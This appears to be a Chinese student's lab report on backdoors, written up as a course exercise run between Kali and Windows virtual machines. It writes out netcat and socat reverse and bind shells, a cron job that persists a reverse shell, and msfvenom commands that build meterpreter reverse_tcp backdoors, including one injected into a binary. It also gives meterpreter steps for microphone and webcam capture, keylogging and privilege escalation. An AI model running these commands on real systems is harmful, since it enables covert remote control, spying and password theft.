zoukankan      html  css  js  c++  java
  • Exp2 后门原理与实践 20165110

    Exp2 后门原理与实践

    一、实验要求

    1.使用netcat获取主机操作Shell,cron启动
    2.使用socat获取主机操作Shell, 任务计划启动
    3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    二、实验内容

    1.任务一

    (使用netcat获取主机操作Shell,cron启动 )
    kali(攻击机)Windows(受害人)
    1.Windows获得Kali Shell

    (使用ipconfig查看IP:10.1.1.171)

    (使用ifconfig查看IP:192.168.168.128)
    2.安装ncat.exe程序
    ncat.exe程序Windows系统下并没有安装需要手动安装,下载地址然后解压到相应文件夹中,通过命令行进入ncat文件夹
    之前因为没安装ncat程序导致Windows端报错

    3.在Windows的命令行中输入 ncat.exe -l -p 5110

    4.在kali端输入:nc 10.1.1.171 5110 -e /bin/sh

    (成功获取Windows的权限)

    注:可以通过相似的操作通过Windows来kali的权限
    kali(受害人):nc -l -p 5110
    Windows(攻击机):ncat.exe 192.168.168.128 5110 -e cmd.exe

    5.在kali端打开crontab -e选择
    3. /usr/bin/vim.basic在最后一行加入代码
    32 * * * * /bin/netcat 192.168.1.123 5325 -e /bin/sh

    意味着每小时的第32分钟时启动一次
    时间到了的时候,我们在Windows的命令行中输入ncat.exe -l -p 5110然后可以成功获取Kali中的一些权限,完成操作任务

    2.任务二

    (使用socat获取主机操作Shell, 任务计划启动)
    socat下载地址

    此处的攻击机为kali,受害者为Windows

    1.首先通过搜索找到计算机管理,点击任务管理计划->创建基
    本任务,按照步骤进行创建,其中在操作这一栏中选择我们刚才下载socat.exe文件,并在下面的参数一栏中填写
    tcp-listen:5110 exec:cmd.exe,pty,stderr

    该命令是用与把cmd.exe文件绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上。

    2.创建任务完成后,按Windows+L快捷键快速锁定计算机,再次打开时,唔没出现哎,唔然后我打开任务管理器发现定位文件夹的socat.exe消失不见了,然后我又重新复制了一个过来,再次重复上面的动作,到时间就弹出来了一个黑色的框,表示运行成功。

    3.在Kali端输入指令socat - tcp:10.1.1.171:5110一开始我总是出现未找到命令的错误,经过检查后发现由于我指令中的-与tcp中间没有加上空格,输入正确后,即可成功获得cmd shell

    (成功获得cmd shell的截图)

    注:在排查过程中,我以为是端口被占用的问题,所以将此处的端口该成了5111

    3.任务三

    (使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell)

    Kali(攻击机),Windows(受害者)

    1.生成后门
    在Kali端生成一个后门
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.128 LPORT=5110 -f exe > backdoor_20165110.exe

    指令参数说明:

        -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
        -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
        -e 使用的编码器,用于对shellcode变形,为了免杀。
        -i 编码器的迭代次数。如上即使用该编码器编码5次。
        -b badchar是payload中需要去除的字符。
        LHOST 是反弹回连的IP
        LPORT 是回连的端口
        -f 生成文件的类型
    

    2.将生成的文件通过nc指令传输给Windows。

    3.在Kali端启动msfconsole

    4。输入指令

    set payload windows/meterpreter/reverse_tcp
    set LHOST 10.1.1.171   //Kali的IP
    set LPORT 5110
    

    一切显示正常后输入exploit

    即可成功获得Windows的shell

    该任务中出现的错误:

    1.一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。

    2.通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。

    4.任务四

    (使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权)

    此处Kali是攻击机,Windows是受害者

    1.在上一个任务的基础上继续在msfconsole中输入指令

    (1)获取目标主机音频
    输入指令record_mic -d 5 -d后跟的是录制时间

    (2)获取目标主机的摄像头
    输入指令webcam_snap

    (结果截图)

    (3)获取目标主机的截屏
    输入指令screenshot

    (结果截图)
    (3)获取目标主机的击键记录
    输入指令keyscan_start开始记录下击键内容,然后使用keyscan_dump指令读取击键内容
    这个指令我去尝试了登录一个网站,发现我的密码可以作为击键内容被显示出来(此处图略)

    (4)对目标主机尝试提权
    使用指令getuid指令查看当前用户,然后使用getsystem指令进行提取

    5.任务五(加分项)

    对这个任务我进行了艰苦卓绝的努力,首先得感谢各位大佬们的帮助
    首先输入指令,直接msf再pwn1基础上生成一个注入了的shellcode的文件pwn2.msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.168.128 LPORT=5111 -x /root/20165110/experiment2/pwn1 -f elf > pwn2.然后输入msfconsole运行msf,输入下列指令

    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 192.168.168.128 //注意此处应为Linux的IP!
    set LPORT 5111 //后门程序里的端口号
    show options
    exploit
    

    随后打开一个新的终端,然后在其中输入chmod +x pwn2.给用户赋予执行pwn2.的权利,如果不进行赋权的话会导致无法运行

    然后执行该文件sudo ./pwn2.
    然后激动人心的时刻到了

    --------------------------------它报错了------------------------------------
    我尝试了重启、重新生成、重新配置等多种尝试都没能将这个问题解决==,于是乎,该实验宣告失败。。。。。。(望各位牛皮的大佬们有遇到这个问题的告诉我一下怎么解决。。。)

    三、实验过程中出现的问题

    1.在进行任务一的时候,通过crontab指令加入的自启动并没有真正开始自启动,应该是因为时间差的问题导致的,最后我是手动双击启动的。

    2.在进行任务二过程中kali端输入完指令后总是报错,后来经过排查发现是因为指令格式有误“-”与tcp之间应该有一个空格

    3.在进行任务三过程中,出现了两个问题:
    (1)一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。

    (2)通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。

    四、基础问题回答

    1.例举你能想到的一个后门进入到你系统中的可能方式?

    答:(1)记得之前上信安技术的时候老师曾举过一个例子,说之前有一个爆发的病毒式将后门程序是绑定在一张小龙女图片上的,互联网的用户只要点击查看这张图片就会自动下载该图片后的后门程序,然后安装进入用户的电脑获得权限
    (2)下载盗版的软件,该软件的源码可能就有后门,所以只要一运行这个软件,后门程序也会同步运行

    2.例举你知道的后门如何启动起来(win及linux)的方式?

    答:Windows通过修改注册表信息,创建自启动任务,或者被动触发点击含有后门程序的连接、软件即可启动
    Linux通过缓冲区溢出攻击,将正常的跳转进行修改将跳转地址改到相应的后门程序存在的地址中,在执行相应操作之后即可跳转到相应的后门中。

    3.Meterpreter有哪些给你映像深刻的功能?

    答:我觉得最可怕的就是可以获取击键内容,比方说用户输入的密码,而这会导致为保护密码所设置的所有加密算法和保密协议都完全失效,从源头开始密码就会被泄露,直接明态显示在了攻击机的界面上。

    4.如何发现自己有系统有没有被安装后门?

    答:我在创建基本任务的时候,发现了许多已经在运行的任务,这些任务有的是系统自带的有的是一些软件自带的,可以通过任务表来查看自己的系统中有没有安装不明后门任务;一般的杀毒软件都是可以检查出打部分的后门程序的所以要开启杀毒软件的实时防护功能,即使更新版本。

    附加:使用msf生成其他模式的后门程序(链接

  • 相关阅读:
    FloatingActionButton
    OpenWrt for WR720N
    OpenWrt
    shell修改文件名(二)
    shell修改文件名(一)
    POJ 1300 Door Man(欧拉通路)
    USACO zerosum DFS 1A
    hadoop源代码解读namenode高可靠:HA;web方式查看namenode下信息;dfs/data决定datanode存储位置
    Leetcode-subsets
    单链表的各种操作 笔试 面试
  • 原文地址:https://www.cnblogs.com/20165110shiyu/p/10587010.html
Copyright © 2011-2022 走看看